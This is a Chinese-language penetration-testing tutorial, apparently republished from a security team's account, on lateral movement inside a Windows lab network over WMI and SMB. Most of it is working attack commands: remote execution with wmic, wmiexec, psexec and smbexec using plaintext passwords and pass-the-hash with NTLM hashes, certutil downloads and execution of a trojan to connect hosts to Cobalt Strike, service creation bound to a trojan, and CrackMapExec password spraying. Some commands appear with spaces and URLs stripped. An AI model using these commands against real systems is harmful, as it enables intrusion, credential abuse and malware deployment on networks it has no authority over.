WMI
什么是WMI?
WMI是通過135端口進行利用,支持用戶名明文或hash的方式進行認證,在使用WMIC執行命令過程中,操作系統默認不會將WMIC的操作記錄在日志中,因此在利用過程中不會產生日志。所以越來越多的攻擊者開始漸漸使用WMI進行攻擊。
WMI的利用條件
1.獲得目標機器的用戶名和密碼
2.開放139、445端口
WMIC的使用需要對方開啟135端口(有的工具需要445端口)和admin$共享,135端口是WMI默認的管理端口
WMI利用手法
WMI演示環境如下圖:
WMIC
系統自帶的WMIC命令是單執行,無回顯的,并且只支持明文密碼,不支持hash進行傳遞 在這里,我們對SQLserver執行了一個ipconfig的命令,并將結果保存在C盤的ip.txt文件中:
wmic/node:192.168.3.32/user:administrator/password:admin!@#45processcallcreate"cmd.exe/cipconfig>c:ip.txt
可以看到我們并無法直接看到命令的回顯,但我們上帝視角切到靶機發現確實是執行命令了的 。
這里如果在實戰中,如果想要查看文件內容和文件是否上傳成功的話,就要使用上篇文章內網移動-IPC中的type和dir命令
dir\192.168.3.32c$#列出該主機的C盤下的文件 type\192.168.3.32c$ip.txt
這里將其上線CS的步驟也是:使用下載命令讓其下載Web Server中的木馬,執行上線
wmic/node:192.168.3.32/user:administrator/password:admin!@#45processcallcreate"cmd.exe/ccertutil-urlcache-split-f "#下載Webserver中的木馬文件到自己的C盤
wmic/node:192.168.3.32/user:administrator/password:admin!@#45processcallcreate"cmd.exe/cc:/4444.exe"#執行木馬
可以看到此時sqlserver成功被上線。
wmiexec.vbs
wmiexec.vbs 腳本通過 VBS 調用 WMI 來模擬 PsExec 的功能,wmiexec.vbs 下載地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs,交互式,適合在反彈shell或msfconsole中使用,不適合CS控制 首先我們將其上傳到跳板機中,然后再使用命令去連接,由于CS無法返回shell的問題,所以該腳本并不適用于在CS中運行,所以這里我選擇將會話轉移到MSF中去運行。
cscript//nologowmiexec.vbs/shell192.168.3.32administratoradmin!@#45
可以看到在MSF中運行了該文件后,成功將sqlserver的shell反彈了過來,在此我們可以直接讓其下載后門并執行,上線到我們的CS中。
cmd.exe/ccertutil-urlcache-split-f
可以看到SQLserver成功上線CS
wmiexec-impacket
impacket套件中的wmiexec同樣可對WMI進行橫向移動,并且支持交互式與單執行,支持hash進行傳遞,相對來說更為方便,這里直接使用它的py腳本配合socket代理就可以對其內網進行橫向移動,避免了上傳文件等敏感操作。首先設置好Socket代理,與proxifier的代理與代理規則
配置好socket代理與規則后,就可直接在本機中調用wmiexec.py文件對其內網進行wmi利用
pythonwmiexec.py./administrator:Admin12345@192.168.3.21#通過明文密碼連接獲得目標本地用戶交互式shell pythonwmiexec.pygod/administrator:Admin12345@192.168.3.21#通過明文密碼連接獲得目標域用戶交互式shell
通過該命令成功獲得一個交互式的shell,那么wmiexec.py也可單執行命令。
pythonwmiexec.py./administrator:admin!@#45@192.168.3.32"whoami"#以明文密碼連接本地用戶并執行命令
pythonwmiexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"whoami"#以hash密碼連接本地用戶并執行命令
這里將目標上線CS的方式和上面一致,通過命令下載木馬并執行。
pythonwmiexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32"cmd.exe/ccertutil-urlcache-split-f "
SMB
什么是SMB?
SMB(Server Message Block)服務器信息塊,它也是一種客戶端到服務器的通信協議。除此之外,SMB協議也被稱為請求-回復協議。客戶端與服務器建立連接后,客戶端可以向服務器發送SMB命令允許用戶訪問共享、打開、讀取或者是寫入文件
SMB的利用條件
1. 利用SMB服務可以通過明文或hash傳遞來遠程執行,條件445服務端口開放。
2.獲得該目標的賬號名與密碼或hash
SMB利用手法
SMB演示環境如下圖:
PsExec
官方Psexec
Psexec 是由 Mark Russinovich 創建的 Sysinternals Suite中包含的工具。最初,它旨在作為系統管理員的便利工具,以便他們可以通過在遠程主機上運行命令來執行維護任務。后來因為太過方便,被利用到內網滲透之中,但不支持hash傳遞,且CS無法利用,而且該工具好像只能在具有桌面權限后才可進行利用,我這里使用msf和反彈shell都無法成功反彈shell.... 這里將psexec.64上傳到跳板機中
然后在跳板機桌面中運行該工具,就會反彈出目標機器的shell,如下圖所示
psexec64.exe\192.168.3.32-uadministrator-padmin!@#45-scmd
Impacket-PsExec
還有一個psexec就是我們的impacket套件中的工具,官方psexec有諸多限制,如不支持hash、cs、msf無法利用成功等問題,所以這里選擇使用impacket中的psexec工具就相對來說比較靈活,同樣,為了避免發送上傳文件時數據丟失或被查殺等問題,我們可使用socket+psexec.py對其內網進行橫向移動。socket配置此處不再描述,這里直接使用impacket-Psexec.py進行利用
psexec.py./administrator:admin!@#45@192.168.3.32#通過明文密碼連接獲得目標本地用戶交互式shell psexec.pygod/administrator:Admin12345@192.168.3.21#通過明文密碼連接獲得目標域用戶交互式shell
pythonpsexec.py-hashes:518b98ad4178a53695dc997aa02d455c./administrator@192.168.3.32#通過哈希密碼連接獲得目標本地用戶交互式shell pythonpsexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21#通過哈希密碼連接獲得目標域用戶交互式shell
CS插件-psexec
在我們的CS中其實也有PSEXEC利用功能,且利用較為方便與簡單,在targets中選中目標右鍵即可彈出利用選項,且支持hash的移動
點擊psexec64后,就會讓我們選擇用戶名密碼與所登錄域等,這里我們直接選擇之前我們在跳板機中所收集的密碼,Domain置空的話為本地用戶登錄,輸入域名后則為域用戶登錄,選擇監聽器和會話之后,點擊Launch即可。
這里看到Sqlserver成功上線,這里如果想以域用戶的身份登錄時,Domain處輸入域名即為域用戶身份登錄。
較為簡單,這里不做過多講解。
smbexec-impacket
在impacket中smbexec工具也可以進行移動,該工具利用方式和psexec利用方式相同,這里簡單介紹一下即可
pythonsmbexec.py./administrator:admin!@#45@192.168.3.32#通過明文密碼連接獲得目標本地用戶交互式shell pythonsmbexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21#通過哈希密碼連接獲得目標域用戶交互式shell
Services
同時還有一個系統自帶的服務也可進行利用,該服務支持哈希密碼傳遞,且為單執行無回顯,無法交互shell。具體利用過程如下:首先建立SMB連接后,創建一個服務,服務綁定木馬,然后在啟動該服務,即可上線到CS中
services-hashes:518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32create-nameshell-displayshellexec-pathC:4444.exe#建立SMB連接并創建服務綁定木馬 services-hashes:518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32start-nameshell#啟動shell服務
CrackMapExec
在內網滲透中,能獲取到主機管理員賬號密碼,將會使我們橫向事半功倍,尤其是在大內網環境中,密碼復用率很高,一波噴灑,能助力你拿到一波主機,對拿到的主機再次抓取密碼,再用新拿到的密碼噴灑一波......,如此反復。密碼噴灑的思路就是這樣:不斷收集內網賬號密碼,不斷去噴灑。這時我們就需要類似CrackMapExec這樣的密碼噴灑工具,對其內網進行密碼噴灑。CrackMap同樣的,CrackMapExec支持本地、域內和明文密文的fuzz,具體利用命令如下:域用戶明文密碼噴灑:
proxychainscrackmapexecsmb192.168.3.21-32-udbadmin-p'Admin12345'
本地用戶明文密碼噴灑:
proxychainscrackmapexecsmb192.168.3.21-32-uadministrator-p'admin!@#45'--local-auth
域內用戶hash密碼噴灑
proxychainscrackmapexecsmb192.168.3.32-udbadmin-H'518b98ad4178a53695dc997aa02d455c'
本地用戶hash密碼噴灑
proxychainscrackmapexecsmb192.168.3.32-uadministrator-H'518b98ad4178a53695dc997aa02d455c'--local-auth
執行命令也是非常的簡單,這里直接在上面命令后加上-x 'bash' 即可
proxychainscrackmapexecsmb192.168.3.32-uadministrator-H'518b98ad4178a53695dc997aa02d455c'--local-auth-x'whoami'
當然這里也可以通過已經噴灑出的主機和密碼配合CS中的psexec上線到CS中。此處就不再演示。
審核編輯:劉清
-
SQL
+關注
關注
1文章
768瀏覽量
44177 -
SMB
+關注
關注
0文章
40瀏覽量
11776 -
WMI
+關注
關注
0文章
2瀏覽量
6089 -
Hash算法
+關注
關注
0文章
43瀏覽量
7404
原文標題:橫向移動-WMI、SMB
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論